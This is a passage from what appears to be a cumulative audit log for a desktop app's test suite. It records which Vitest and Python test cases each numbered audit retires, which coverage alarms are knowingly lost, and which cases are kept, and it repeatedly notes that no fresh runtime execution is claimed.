usage-source-cache-streaming.test.ts driver and8 cases from the surviving computer-action-validation.test.ts driver. This gate retains an unfiltered root Vitest command; UNIT_INCLUDE admits both source paths. Accepted losses are the real encoder output chunk-size/work-count alarm on repetitive10k/100k ownership payloads through a mocked durable sink, plus CLI diagnostic precedence, fractional window-id rejection, action-call-site window-target exclusivity, plain-text click-count recovery copy, incomplete click/drag targeting, mouse/modifier/direction allowlist samples and inline/stdin text exclusivity. These CLI cases exercise real argument/handler validation before mocked runtime calls; they are deliberately retired for marginal value, not declared tautologies. Retained cache I/O and CLI cases are not equivalent replacements for these alarms. Existing historical raw receipts remain unchanged and do not validate the deleted or reduced drivers. No fresh execution claim is made. Audits3758/3763 intentionally remove9 authored/11 finite registrations from6 changed drivers, including the entire pane-title-notification, window-linear-notices and worktree-card-lifecycle-effects suites. This gate retains an unfiltered root Vitest command admitting these paths. Accepted losses are same-account linked-row success-notice fanout, sidebar-switch channel forwarding, Linear-only notification forwarding/non-terminal-consumer selection/closed-window detach, destroyed-window refusal and first-send-failure suspension through the pane-title adapter, the100-card synthetic focus/poll absence sample, stored-source local folder badge refresh, unobserved-row badge refusal, and immediate reposChanged lineage invalidation. These exercise real owners with controlled ports; they are retired for marginal value, without equivalent replacement claims. The no-badge-work fixture does not seed its title-promised collection-only cache. Preserved historical receipts do not validate deleted or reduced drivers; no fresh execution is claimed. Audit3759 retires the entire one-case Tailwind compiler/scanner smoke. Accept loss of the direct CSS production/test/spec source-exclusion and rescan alarm; no replacement or current execution is claimed. Audit3752 independently approves audit3749: retire five authored/five finite watcher-process registrations, retaining18 raw-exact registrations. Accept loss of healthy shared-pool joint recovery, last-pending-failure idle retirement/respawn, late VITEST fallback release, missing-entry fail-closed selection and independent-supervisor fuse locality alarms. These are real bounded host-policy alarms intentionally retired for low marginal value; no equivalent replacement is asserted. Remaining driver selections exercise controlled FakeChild supervisor lifecycle, cancellation, physical-exit fencing, recovery and fuse behavior. This source review supplies no fresh native/process/platform/remote/SSH execution; historical receipts retain original source and selector scopes. Previous oracle (preserved verbatim): Audits3738/3742/3743/3744 intentionally remove15 authored/21 finite registrations from six surviving drivers, with no equivalent replacement or fresh execution claim. This gate retains an unfiltered root Vitest command. Current UNIT_INCLUDE admits the partial push-service, metadata-dialog and two config/scripts browser drivers:10 authored/16 finite removals. Accepted losses: actual retry30s/60s progression and register bucket/refill wiring, explicit seven-day lease arithmetic (its notification lacked seq/epoch and never reached send), equal-name edit latch/save payload, real image/font/meta-refresh/form/popup browser refusal controls, and broad rich-markdown bridge/command/edit-select smoke. Actual production state, callback routing and browser enforcement run in these cases; these alarms are deliberately retired on marginal value. All drivers and selectors survive. Existing unrelated receipts remain historical evidence for their unchanged selectors, not proof of the reduced cases. Audit3732 removes 2 authored/3 finite registrations from two partial suites: nominal custom/Kimi local naming success and deferred context usage row presentation. Real losses: custom/Kimi successful extraction through conversation-name sanitization and agentLabel composition; separate ordered counted/deferred lists and exact percentage/token formatting. No replacement or equivalent coverage claimed. Retain 11 authored/13 finite raw-exact registrations for bounded naming instruction/refusal/cancellation, menu dismissal focus ownership and hover/composer Escape/timer cleanup. Source-only bounded value review, no runtime/CI/native/remote/mobile/folder workspace or global completion credit. Previous oracle (preserved verbatim): Audit3733 removes2authored/2finite terminal input checks: fixed custom-cap error/secret fixture and three-emoji cap5refusal whose6UTF16units already trip length fast guard (no UTF8-dependent boundary). Accept exact non-disclosure/oversized-refusal alarm losses; no replacement/equivalence claim. Retain13/13scalar/pending input, OSC state and cron DST/cadence outcomes after bounded material reads. Source-only zero runtime/novelty credit; original historical reasons preserved. Previous oracle (preserved verbatim): Audit3729 removes1authored/3finite by deleting whole CLI runtime pairing advisory-close suite. Accept losing post-real-close injected EIO preservation of native/script/unreadable pairing, env identity/preservation and exact close/release assertions; no actual failed-close leak or replacement coverage claimed. Two retained URL grammar/identity suites11authored16finite raw unchanged. Bounded source/owner/caller value review, zero novelty/runtime credit; other seven3724deferred closures remain. Historical receipts preserve original limits. Previous oracle (preserved verbatim): Audit3724 removes3authored/3finite checks by deleting two whole suites: TUI clear burst-size singleton and terminal-file-URL target two-case wrapper suite. Deliberate losses: derived widest burst<64byte alarm, UNC authority+line-column anchor composition, and malformed-percent null refusal. Real production algorithms execute in those tests; no mocked-output tautology, equivalent replacement, actual Claude/file-navigation delivery or universal safety-irrelevance claim. TUI58byte bound and URI examples have low marginal value as standalone suites. Actual1262/1264/1742KEEP superseded explicitly. Remaining14drivers83authored136finite raw unchanged. Bounded source-only review; ten closures deferred, four bounded keep judgments repeated with zero new semantic-frontier credit. No runtime/CI/native/remote/mobile/folder/global completion claim; historical receipts retain original scope. Previous oracle (preserved verbatim): Audit3723 removes 4 authored/4 finite registrations in two whole suites: keybinding cache freeze/token spellings and host-dependent Orca command name examples. Real losses include returned-object freeze, repeated Mod+P key, Space/PageDown/NumpadSubtract mapping, unknown/empty/prototype-token rejection, and headless Linux versus Windows-server/WSL command choice. No equivalent or replacement coverage claimed. Retain 12 authored/21 finite raw-exact registrations exercising generated scaffold validation, artifact failures, shipped editor/hook/worker/panel tests, actual generated typing compilation, independent CLI root routing and intent-name precedence. Source-only bounded audit; no runtime, CI, native, remote, mobile, folder workspace or global completion credit. Previous oracle (preserved verbatim): Audit3720 removes17authored/23finite checks: whole main catalog-date adapter2 and shared date-helper7, seven renderer nominal ranking/cap/no-date/composition cases, and one browser registration expanding to seven forced-container/DOM-child boundary cases. Deliberate real losses: community oldest-date UTC forwarding, official/undated omission, date sorting/window/invalid/future/skew/clamp and default/override cap; nominal ranking/cap and combined Featured/Newly-added outputs; real CSS459/460,719/720,1055/1056breakpoint, five-card partial-row and720px two-card first-row alarms. Browser cases really measure rendered geometry but force width/remove DOM children; no fake-pixel or tautology rationale. No replacement/equivalent coverage claimed. Retain14authored/19finite raw-exact registrations across4drivers: adversarial featured category/order/tie and installability, date order/window selection, actual PluginManager failure/escaping/duplicate-card suppression, real browser viewport/odd-count geometry/phone catalog visibility, syntax ingress/depth/include/printability and68dlong-bracket auto-close fill-in. No tests/browser/native/UI/provider/remote/mobile/folder/CI/global execution or completion credit. Previous oracle (preserved verbatim): Audit3717 removes6 authored/6finite checks in two whole thin-adapter/presentation suites. Deliberate real losses: ordinary recipe repository-URL withholding and provisioned-root credential scrubbing/forwarding; repository label lockstep suffix expansion, host-scoped map identity/collision grouping, Windows crosshost paths and WSL distro suffixes. Actual provision options, label/sort consumers and host/scrubber delegates inspected; no replacement/equivalence claim. Retain40 authored/84finite registrations raw exact in14 drivers with bounded owner/context review. Prior KEEP superseded for removed suites; no runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous oracle (preserved verbatim): Audit3714 removes8 authored/39finite checks: whole CLI selector-recovery, task display-text and ANSI grammar suites plus two name joiner/blank tables. Deliberate real losses: selector flag/value/identity and mutation recovery merge/serialization; exact task suffix, transcript fallback, input immutability, cache reuse and edited blocks; independent failed-escape/resumption and OSC/DCS/BEL/ST/C1/nested/unfinished stripping outputs; meaningful-language joiner preservation and invisible/blank-name rejection. These are real bounded alarms, removed as narrow supplied-error examples, helper/token inventories and repeated internal-work fixtures. Prior2936,1195/1196,1214/1215 and1082 KEEP superseded; no replacement or equivalent coverage claimed. Keep9authored/9finite raw-exact registrations in5surviving drivers: screenshot export/failure filesystem behavior, CLI local tree query, event-local reply provenance, vault role-sensitive content and four hostile/UTF16/dangling/tag-name regressions. No native/UI/provider/remote/mobile/folder/runtime/CI/global completion credit. Previous oracle (preserved verbatim): Audit3711 retires2authored/4finite cases by deleting whole clipboard-image-temp-file signature-to-name inventory (HEIC/TIFF/unrecognised bytes) and workspace-last-active switch-on supplied visit/reason singleton, plus its now-orphan test fixture. This intentionally loses real generated-filename suffix/extensionless alarms and real newer-visit archived7day versus inactive30day filtering/older-visit identity alarms. Filesystem writing and production reason pruning really execute; no equivalent replacement or universal absence of safety relevance is claimed. The clipboard test does not inspect written bytes, native delivery or decode; the visit test supplies candidate/timestamps and does not exercise persisted visit routing or actual removal.20authored/20finite cases remain unchanged across4bounded Git/sidecar/removal drivers. No new runner/test/module evaluation or runtime result; historical notes and receipts remain historical. Previous oracle (preserved verbatim): Audit3707 removes10 authored/11finite checks: three whole renderer adapter/assembled-stage suites and two native projection cases. Deliberate losses: plugin URL/ref/default-version/local-path and unsafe credential refusal forwarding; real Task hook/store A→B→A late-save/list/count fences, owner disappearance, legacy-host convergence, query/history/eviction and same-ID host history; native child append ordered-ID/replacement and compound fallback/order/optimistic-admission/child-turn/duplicate/shrink/revision alarms. These are real bounded alarms; removal follows thin adapter, manually assembled Task pipeline and repetitive fixture value judgment, with no replacement or equivalent coverage claim. Prior1179/1182,1220/1221 and1885 KEEP superseded as applicable. Keep36 authored/38finite registrations raw exact across13 surviving drivers. No runtime/CI/provider/browser/native/mobile/remote/folder/global completion credit. Previous oracle (preserved verbatim): Audit3706 removes7authored/7potential cases from3renderer sources: whole usage-label3case and130000-distinct-day usage-overview singleton suites, plus3SSH grouping/ordinary-range examples. Retain11authored/11potential cases across6drivers in this bounded selection; no equivalent replacement or fresh runtime result. Existing bare root-unit commands admit this selection statically; prior command/receipt strings remain historical. Audit3706 intentionally retires first/second-order usage-group label collision alarms; equal50%-weekly bucket versus derived-weekly selection identity and Gemini wk label alarm;130000distinct-day aggregation no-spread-crash/max/intensity alarm; legacy absent-source SSH grouping and ordinary reverse-select/selected-target deselect range alarms. Actual label ambiguity and pathological-input crash are accepted losses. Distinct-day fixture spans~356years; no hard producer/date bound is claimed. Retained filtered-anchor/grouped-order guards do not replace removed deselection/reverse-range/legacy-group coverage. No native SSH, mounted renderer, live provider, remote/folder/mobile end-to-end or current runtime pass was obtained. Previous oracle (preserved verbatim): Audit3699 removes4 authored/4finite checks, including one whole xterm copy-policy suite and one root/group CLI help case. Deliberate losses: direct copy-chord admission for platform, selection, Kitty mode, defaultPrevented, logical/physical key and key phase; command-group disclosure and group help routing including claude-teams early return without RuntimeClient construction. These are real bounded policy/wiring alarms; no replacement or equivalent coverage claimed. Retain14 authored/19finite raw-exact registrations across6 drivers: unsafe CLI refusal, Claude model event carry and disk reconstruction/OSC-first case, attachment ownership/upload lifetime and mixed BMP file-reference/PNG-chip delivery, actual SQLite authority/admission/mutation, and Electron geometry/hit-testing. No runtime, CI, native-key delivery, external provider, mobile, remote, folder or global completion credit. Previous oracle (preserved verbatim): Audit3692 removes5 authored/5finite marginal Codex checks: unrelated login URL without notice; ordinary per-account launch resource/config materialization; no-retained-pane skip; preservation of a previously owed full scan through actual preparation and pending-marker update (no actual history scan/settlement); ordinary later-config refresh. Accept these exact branch/wiring alarms as deliberate losses without replacement. Retain32 authored/34finite raw callbacks/registrations/table bytes exact across14suites, including credential/admission refusal, grace/reset readiness, filesystem ownership, commit-dependent queue state, streaming/host trust, path canonicalization and private-state preservation. All14whole suites challenged without keeper quota; no whole deletion warranted on current concrete signals. No runtime/CI/native WSL/remote/mobile/folder/global completion credit Previous oracle (preserved verbatim): Audit3691 removes two complete runtime-home routing singleton suites (2 authored/2 finite): catalog wrapper mirror login-copy and passive transcript-lookup filesystem noncreation. Exact accepted losses are recorded in knownGaps; no replacement or equivalent coverage claimed. Audit3691: no dedicated alarm remains in the deleted sources for post-launch system login import through prepareHostCodexHomeForReadOnlyAppServer, or for repeated missing-transcript lookups leaving removed Codex account/runtime directories absent and userData entries unchanged. Ownership-marker read avoidance was never independently measured. No real catalog probe, provider, native Windows or crash was validated by those fixtures. Previous oracle (preserved verbatim): Audit3686 current Claude profile/account review removes5 authored/5 finite cases: whole structured-auth diagnostic-label suite3 and Windows-only command suite1 whose advertised cache alarm is ineffective because cache lifetime is per invocation; remove duplicate setup namespace-link refusal1 at wrapper layer. All5 exact historical KEEP are consciously superseded. Retain49 authored/50 finite unchanged, including filesystem privacy/recovery, route identity and concurrency, built worker/helper, legacy WSL alias compatibility and sign-in handoff. These are deliberate coverage losses without replacement. No runtime/CI/native WSL/macOS Keychain, remote/mobile/folder or global completion credit. Explicit accepted real losses: unknown-account host fallback and mixed-version/WSL-only structured auth diagnostic labels; Windows-only sentinel ENOENT-to-friendly-error translation plus fresh-call successful dispatch smoke; setup catch-to-refused wrapper and no-write outcome for a namespace symlink. The command case does not discriminate removal of its per-invocation noncache guard; it still supplies the error-translation alarm, which is intentionally retired. No replacement/equivalence promise. Previous oracle (preserved verbatim): Audit3680 removes eleven authored/eleven finite unit cases across four files, including entire launch setup row projection, structured legacy-model metadata, and legacy classifier suites. Accept loss of exact row partition/start selection, Codex supersession/default/unknown and Claude alias/suffix folding examples, other-agent exemption, getter/cache read budgets, same-array per-agent cache isolation, replaced-catalog metadata, and tracked-only model exclusion from structured and PTY legacy inventories. These are real narrow policy/metadata alarms intentionally retired without equivalent replacements. Retain real menu collapse/reopen in dropdown/select, AI picker cancel/accept and stale-effort filing, IME carry/gesture/frame transitions, and typed-flip versus held-dispatch fencing. No production or shared fixtures change. No dead timing entry exists for the three deleted drivers; retained timing keys stay unchanged. Static source-value review only; no project import, test runner, native/app execution or runtime validation established. Earlier receipts retain historical scope. Previous oracle (preserved verbatim): Audit3678 current-source reassessment removes20 authored/24 finite root-unit cases across7 retained test sources; all10 selected current drivers80 authored/93 finite were read, leaving60 authored/69 finite unchanged. Removed alarms are the in-memory WAL PRAGMA constant, ordinary latest-dispatch/gate-creation inventories, self-reported-failure and explicit-terminal retry policy rows, SSH/unsupported-provider output fallback labels, legacy typing no-op/retain-before-report/manual scheduling rows, exited output status and copied resume-session metadata, incomplete inventory deferral/reset cascade inventory, and nominal release/active-state/corrupt external history/stopped-abandoned outcome/generic close-exception rows. These are intentional coverage losses, not replaced alarms. Retained source includes actual SQLite rollback/custody, mutable transcript/deletion and saved-copy compatibility, cursor mutation, clear lineage, auto-release timing/restart/admission and concurrent recovery seams. Historical KEEP decisions are consciously superseded where stated in decisions.json. Source-only evidence; no runtime, CI, native, provider, remote, mobile/folder or global completion credit. Previous oracle (preserved verbatim): Audit3672 renewed by3676 removes four authored/four finite cases from federation-output.test.ts: nominal show/read routing and terminal-fallback projection; initial archive-table SELECT failure returning retained/no-close; simulated old-peer read/fleet/refusal and method inventory; and absent archive-release capability refusing release. These actual compatibility/guard alarms are intentionally lost without equivalent replacement; the dropped-table case never reaches capture or commit. Current selected frontier9 becomes5: retain actual temporary transcript parsing/path omission, current no-transcript release/unavailable-output/restart/replay regression, and three home deadline/stop nonmutation cases. Prior held-capture case was already removed upstream and receives no new removal credit; prior redacted snapshot archive behavior was rewritten upstream and is not claimed retained here. The surviving driver timing entry stays. Static review/private composition only; no actual peer/network/native/platform or fresh runtime validation. Previous oracle (preserved verbatim): Audit3671 removes14 authored/32 finite root-unit cases, including the whole WSL move-handler refusal suite, WSL preload object-presence suite and internal gate spelling truth table. Also retire the weak withheld-command non-array shape assertion, static serve-only Add/capability/mock-remove example, grammar scope equality and basic configuration/payload schema roundtrips. Genuine wrong-window/malformed-request/gate-before-work, exact gate spellings/platform/argv precedence, static serve-only routing, declaration mismatch and empty grammar/pair admission alarms are consciously lost without replacement; prior KEEP decisions are reconsidered. Seven unchanged authored/finite root-unit cases retain real image/provider/line budgets, live policy transition/capability broadcast, grammar resource/reference traversal and strict-versus-tolerant literal salvage. Source-value evidence only; no runner/compiler/build/app/native/provider/remote/mobile/folder validation or historical fault claim. Previous oracle (preserved verbatim): Audit3663 renews approved3644/3645/3648/amended3651 at privatec1ef: remove10authored/26finite across7changedtestpaths,4whole drivers; retain23authored/24finite including actualcmdkStrictMode defaultcursor race. Retire version1.5.0/1.5.1→shrinksImages capability threshold and launch-to-prompt wiring alarm. Surviving prompt tests explicitly supply capability and do not replace wiring coverage. Retire resolved-before-personOnly precedence; hook-gone/live-dialog guidance; stale-incarnation versus live-looking dialog classification; delayed/clipped warning extraction and wait-for-paint wiring; 3row setting/personOnly approve/deny/disclaimer suggestion composition;13row setting/reason/person/coordinator admission, close/mail attribution, terminal delivery/refusal/preanswered/personOnly/dropped-allow handler propagation alarms. Real state/access/SQLite effects occur; these genuine losses are accepted, not mocked-away. Retire full command extraction from serialized JSON in worker receipt and nontruncation alarm; no rendering, actual worker approval or native shell proof. Retire2row extra-source first/last order and controlled default cursor projection, plus generic open-palette livefolder add/remove render alarm. Explicitly supersede rawexact297KEEP refresh. Keep actualcmdk/StrictMode default cursor race driver; no default-suite loss claim. No equivalent replacement asserted. Retained queue/commit/retryownership/filebudget, terminalfreshness/provenance/competing-answer, RPC DB-effect, qualifiedfolder/runtimehandoff and lingering-reopen cases have distinct scope. Audit3675 preserves the upstream revised unreported-approval close regression, its escalation helper and adapted survivors. Source-only static renewal; no runner/compiler/app/native/remote/CI claim. Upstream41390host-owned approvalwatch/report lifetime reviewed separately; no new lifetime test removed. Preserve all earlier metadata/evidence. Audit3634: Remove five authored/five finite cases, including the complete structured chat terminal-refusal, terminal-plus-agent worker-start validation, and canonical Git common-directory parser suites. Also remove the gh free-text -R argument projection case. Consciously supersede prior KEEP decisions and accept chat-versus-stale redirect classification, real RPC refusal-before-SQLite-Dispatch, old-Git echoed-option relative-path parsing, WSL execution-space resolution, and free-text preservation/bare-repo qualification alarms. These are genuine narrow alarms, intentionally retired without equivalent replacements. Retain real Git stdin/EOF delivery, bound-account host admission, naming environment/account precedence, upload iterator cancellation and remote path confinement. Shared fixtures and production code remain. Remove only the dead canonical-repo-key timing entry. Static source-value evidence only; all prior evidence retains historical scope. Audit3636: Remove the entire maintenance opportunity internal-count driver (one authored/two finite cases), the mocked remote worker start-card argument case (one/one), and the follow-up heading mapping table (one/two). Root-unit discovery loses three authored/five finite cases. Independently remove four Python native screenshot methods/five statically enumerated subTest scenarios: grim argv/stub payload, failure-code mapping, X11 mocked capture payload, and capability flags. The Python lane is verify:computer-native and is not root Vitest. Accept loss of exact native command/projection and exception/capability alarms, ready-only card publication arguments/agent forwarding, and serialized follow-up heading mapping; no equivalent replacement is claimed. Retain actual ownership/mail/queue/reopen transitions, remote lost-response fencing and first-result settlement, filesystem/maintenance admission and successor progress, wrong-region screenshot refusal and Sway geometry. The whole-deleted new driver has no timing key; this component requires no timing cleanup. No production changes. Static source-value review only; no project import, runner, app, native desktop or runtime validation established. All prior evidence retains historical scope. Audit3629 removes two singleton parser suites: WSL Claude plugin metadata out-of-range index rejection and Git checkout unlink-warning path extraction. Their real range-refusal and quoted-path extraction alarms are intentionally lost without replacement; no WSL execution, checkout recovery or equivalent remaining coverage is claimed. Audit3630 removes the sole orphan automation availability test (1 authored/1 finite). Its real policy kind, orphan precondition, delete/toggle enablement and run/edit refusal alarms are intentionally lost. The test did not dispatch an action, enforce a server generation fence or observe a remote mutation. No equivalent replacement, actual renderer/transport execution or new platform/provider evidence is claimed. Previous account (preserved verbatim): Audit3628: remove the entire one-authored/one-finite RepositoryRemoveProjectSection happy-dom suite. Accept losing the local zero-to-one-terminal stale-count revalidation alarm: first confirmation defers the removal callback and second confirmation invokes it after the count snapshot updates. The test never asserts updated warning text/count, actual terminal creation or removal/PTY teardown, host/scope routing, cancellation or folder/mobile behavior. No equivalent replacement or end-to-end warning-before-teardown proof asserted. Static evidence only; historical receipts retain original scope. Audit3624: Remove one authored/five finite positive Gemini identity table from the Claude/Gemini title collision driver. The real normalization, legacy label and explicit title evidence owners execute, so ordinary Gemini marker/name/wrapper recognition and normalized-label composition alarms are consciously retired without equivalent replacement; these five supplied title-to-literal identity examples have low marginal value. Preserve the six-row Claude task-text collision oracle, whose unrelated CLI mentions must not rebrand or destructively normalize titles. The other audited drivers preserve real permission-mode session transitions, prompt secret/fence/bounds defenses, JSON-to-Ask option/preview preservation, and optional GitLab failure summary/trace composition. Root-unit discovery loses one authored/five finite cases; no whole driver or timing key is removed. No actual terminal stream, UI routing, application/native or runtime execution established; all prior evidence retains historical scope. Audit3618: Remove three authored/three finite browser reload cases, including the complete renderer reload-actions suite. Agent bridge fake did-fail-load plus permanently supplied manager error projects description/code into a rejection. Renderer seeded empty metadata projects a saved URL into plain webview src; its earlier not-ready case projects a live-id/throwing fake reload into absence of a loading patch. Real queue/wait/error/cache/classifier/hook code executes, but these narrow supplied-state and exception-to-callback wirings have low marginal value; no rerender, lifecycle, actual cache generation/retirement or guest commit is asserted. Explicitly supersede audit1822 not-ready KEEP and preliminary3617 cross-module retain opinion, accepting offline-reload failure reporting, empty guest to saved URL routing, native-reload bypass and premature-loading/stranded-state alarms without replacement. Retain distinct main cancellation queue progression and absent queued side-effect dispatch. Root-unit discovery loses three/three. No Electron guest, network failure, restored navigation/commit, app/native focus or runtime execution established; earlier evidence retains its historical scope. Audit3614: Remove thirty-one authored/thirty-nine finite potential cases across CLI format and argument drivers, including three whole suites: search-result/status sanitation sites, Linear issue/list/warning sanitation sites, and quote-stripped JSON diagnostic secret non-echo. Those real formatter/guard transformations execute on supplied strings; intentionally retire their field-specific CSI/OSC/C1/newline/bell and diagnostic secrecy alarms as low-value caller/output inventories, without replacement. Also retire twenty-one search registrations/twenty-four finite cases covering minimal positional request/default omission, exhaustive all-flags request projection, nominal named query/index routes, repeated syntax/agent examples, enum/agent/path-count/timestamp/numeric/cursor admission examples, unknown/browser flag examples and postcommand last-wins projections; retire one parser sentinel-only case. Keep actual ambiguity, conflicting index request, precommand/crosscommand scoping, variadic reference parsing and missing-repeatable-value controls, without claiming equivalent coverage. Root-unit discovery loses all twenty-nine/thirty-seven. No CLI/RPC/terminal/PowerShell/host/schema/runtime execution is established by this source-only audit; earlier evidence retains its historical scope. Audit3613: remove six authored/six finite callbacks, including whole reviewer-display oversize-input and explorer-root record-filter suites, plus plugin family-emoji/invisible-only-name and pool legacy-name/urgent-countdown samples. Accept losing oversized-input empty-result/no-split, malformed-record/prototype-sensitive-key/nonstring filtering, exact ZWJ family preservation, invisible-only name refusal, no-group old-host full-name preservation, and80/79/null-reset countdown composition alarms. No equivalent replacement asserted. Retained strict/runtime sanitization, SVG parser, mobile focus recovery and collision/tie cases have different scopes. Static evidence only; historical receipts retain original scope. Audit3609: Remove the complete pnpm CLI invocation literal-selection suite (eleven authored/nineteen finite potential cases), with no replacement claimed. Root-unit discovery loses JavaScript-versus-native command selection, npm/npx executable rejection, Windows cmd/bat casing and shell selection, non-Windows cmd behavior, native PNPM_HOME flat/bin preference, explicit-path priority, relative-home rejection, missing-native fallback and non-Windows home-probe refusal alarms. The suite called the real resolver with independently expected objects, but exercised no pnpm/node/cmd process, installed native executable or real filesystem probe. Earlier KEEP decisions are consciously superseded by accepting these narrow branch and probe-inventory alarms as low value. Real symlink entry, Git signing isolation, Bun filesystem/Node child normalization and compiler scheduling/continuation tests remain distinct tests, not equivalent coverage. No runner, compiler, app, platform or remote execution was performed in this source-only audit. Earlier evidence retains its historical scope. Audit3608: remove five authored/five finite callbacks, including whole owner-slug and remote favicon URL suites and two repository-label projections. Lose five owner acceptance samples, eleven negative owner samples plus nonstring refusal, six host-local icon refusal samples, legacy-SSH same-path label-map cardinality, and explicit runtime ownership over stale legacy metadata at label level. These are accepted narrow grammar/presentation alarms with no equivalent replacement claimed. Retained binary parser, React recovery and label grouping/platform cases do not replace these losses. Static evidence only; historical receipts retain their original scope. Audit3606 adopts the enhanced3604/3605 icon cuts: nine authored/nine finite cases removed, including the whole tray-attention-icon suite. Retires the no-encoder oversized-upload null sample, missing-ID/request-order sample, encoder-null PNG-prefix fallback, SVG/404 rejection samples, transparent amber-dot placement and half-alpha white-tint sample, exact small fetched-byte passthrough, host-qualified image-key inventory and constant-encoder large-upload projection. These specific admission, formatting and bitmap alarms are intentionally lost without equivalent replacements. Retained queue/cache, bounded fetch and Dock lifecycle checks do not establish actual raster decoding, native image conversion or rendered appearance. Historical receipts below are preserved evidence for earlier test sets, not fresh validation of this reduced selection. Audit3601 scope: remove the whole custom-sound happy-path IPC suite and one custom-label/multiline notification formatting example (2 authored/2 finite). Intentionally lose configured .ogg selection, exact byte/MIME success wiring, successful dispatch for the formatting fixture, custom-label whitespace/title normalization and assistant-body whitespace/180-character-cap alarms. Retain prompt-exclusion, persisted qualified dismissal/restart, theme ownership/restore and Ghostty precedence/collision cases; none replaces the retired sound/formatting alarms. No actual playback, native delivery, phone/network, cross-platform or new runtime evidence is claimed; historical execution keeps its original scope. Audit3598: Remove seven authored/nine finite literal-table potential test registrations across workflow routing, Claude cold-start and real-zsh preexec drivers. Root-unit discovery loses six authored/six finite: three test-local workflow parser fixtures, the five-positive/three-negative explicit command-paint route inventory, a boot-banner-before-composer sample and an already-painted bare-title positive sample. The separately selected shell_contracts live-shell driver loses one authored/three finite raw-capture paint-only cases across three hook configurations; its real-wrapper launch-order, four rechunkings (twelve finite) and runtime-wait replay remain, without claiming equivalent replacement. Intentionally lose those parser, exact routing-list, banner, post-paint subscription and native-read-boundary paint alarms. Retained workflow/UNIT_EXCLUDE/classifier cross-source routing checks and readiness-race-to-writer timing are distinct bounded alarms. No runner, real shell, PTY, app, native focus, remote delivery, cross-platform execution or full-feature correctness is established by this source-only audit. Earlier evidence retains its historical scope. Audit3597 scope: remove two renderer-hang-capture examples (2 authored/2 finite): an invalid repeated-token oversized reducer fixture and a shorter unanswered-request fixture. Intentionally lose the direct truncated flag/sanitized frame fixture and request-pending status/zero-sample alarms. Retain window-death/stale-result exclusion, generation reconciliation, and baseline-publication cancellation lifecycles; they are not equivalent bound, redaction or pending-status replacements. Historical execution retains its original source scope; no new runtime evidence is claimed. Audit3591: Retire the whole one-case background journal-producer attribution suite and the fabricated malformed-details-block case (two authored/two finite cases). Intentionally lose the fixed own-task versus output/foreign-task attribution examples across flat/message row shapes, missing-root classification, and direct unbalanced/detailsish fabricated-block rejection alarms. Retained parser sibling/depth and editor navigation tests do not replace these alarms. No equivalent replacement or fresh runtime, transport, persistence, native focus or rendered UI validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3592: Retire the whole three-case shared agent smart-key resolver suite, explicitly superseding its Audit3238/3237 keep decisions. Intentionally lose literal permission-versus-question classification, longest-question digit selection, Codex async-question opener/digit/Enter/skip mapping, and unsupported-agent/state/prompt refusal examples. These were real parser/selection and literal-byte alarms; they did not exercise terminal delivery or timing. No equivalent replacement or fresh runtime, native TUI, mobile, remote or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3587/3588: Retire six authored/fourteen finite cases, including the whole WSL stopped-notice and connecting-status selector suites. Intentionally lose direct WSL retry connection field/target/ready-epoch/null-guard examples, connecting/reconnecting distro and absent-state selector samples, and stopped/connecting notice text/button/data-attribute examples. Retained host-ready retry and content-loader/reload lifecycles do not replace these alarms. No equivalent replacement or fresh runtime, native WSL, remote, rendered UI or performance validation is claimed. Earlier dated text and evidence retain their historical scopes. Audit3580: Retire the whole one-case runtime host environment prototype/subclass suite. Intentionally lose the exact configured lower-case Windows Claude home to account-identity normalization and host-account override precedence alarm previously retained by Audit3129. No equivalent replacement or fresh runtime validation is claimed. Earlier dated keep statements below describe their historical source scope; the current suite is removed. Audit3563 scope: retire the whole Kiro OSC/hook identity suite and the OpenCode2 identity-only case; reduce Codex cached startup child-retirement and missing-session-ID tables to one case each (2 authored/4 finite removals). Intentionally lose Kiro alias/session continuity, OpenCode2 completed OSC identity continuity, cached replacement without relay-generation restart, and missing-previous-ID context-preservation alarms. Remaining provider, remote compatibility, persistence and cross-session pollution cases are not equivalent replacements. Also remove the private Codex roster-size assertion while retaining public child-absence checks. Historical evidence retains its original source scope; no new execution or transferred pass validates these reductions. Audit3492 composes ROOT-approved75(AUTHOR3475/PEER3476 and AUTHOR3485/PEER3481, including five-field clarification and zero-credit selector3483) plus123(AUTHOR3486/PEER3487 reconciled FINAL3491, including peer case10:3 and9:0 wording clarifications). It intentionally removes198 authored registrations/232 finite literal-table potential registrations across70 changed JS/TS test sources, including45 whole suites;87 authored/90 finite potential registrations remain across95 reviewed JS/TS bodies. One mobile native-suspension manual recipe and the now-unreferenced GitLab mock fixture helper are separately removed with zero registration credit. Static literal table potential is not execution. No equivalent replacement, fresh runtime result or merge credit is claimed. Earlier135 complete dated receipts, all raw gaps and full prior98/161/history notes retain their exact scopes and bytes. The additional123 retirement accepts loss of mocked GitLab request/error/identity/classification inventories; basic Linear migration and metadata discovery; simulated OpenCode key failed-save retention/retry/log redaction; analytics identity-flush smoke that did not prove ordering; AppImage static entry guards and empty-staging cleanup; GPU/process/minidump breadcrumb/annotation shapes and weak redaction oracles; namespace/status/foreign-launcher ownership guards and persistence roundtrips; profile transfer field projections; worker hook/screen/incarnation/result admission/classification guards; and source-coupled CLI transaction fixtures. Privileged publication failure injection was a false-positive: its mkdir regex missed -m 700 and outer rejection accepted an inner assertion before any shell ran. The identity-flush case awaited identity after flush and could pass despite early flush. Retained actual negative-token cache recovery, SQL filter-before-LIMIT open approval, unreadable-root FTS preservation/degradation, latest-connect-wins persistence, worker stop-debt settlement, unmodified same-inode foreign-content transaction, explicit incomplete-pagination error, FTS own-message snippet association, filter-before-route result and bounded-search truncation honesty are distinct bounded outcomes, not replacements for retired alarms. Case9:0 checks both roots before chmod but only mounted-session/degraded-root after chmod. Entire extraction-root suite is removed; no retained extraction cleanup is claimed. Removing the manual iOS foreground-stall shell script loses its unique real native-suspension recipe; timer tests do not replace it. First-match PIDs, indefinite waiting, broad success matching and absent trap cleanup made that diagnostic brittle and able to leave a desktop stopped. The current Windows operational driver remains byte-exact, preserving already-merged removal of orcad-convert and orcad-cli-convert selectors and the retained cmd/powershell/managed CLI lanes. The package skill-sharing release selector loses only the exact already-retired skills-suite token; no extra test credit. Included approved75 retirement account follows (historical proposal labels identify provenance; final198 counts above control): Audit3488 composes ROOT-approved source49(AUTHOR3485/PEER3481, including its immutable five-field clarification) and source26(AUTHOR3475/PEER3476): intentionally removes75 authored registrations/87 finite potential registrations across35 changed sources, including25 whole 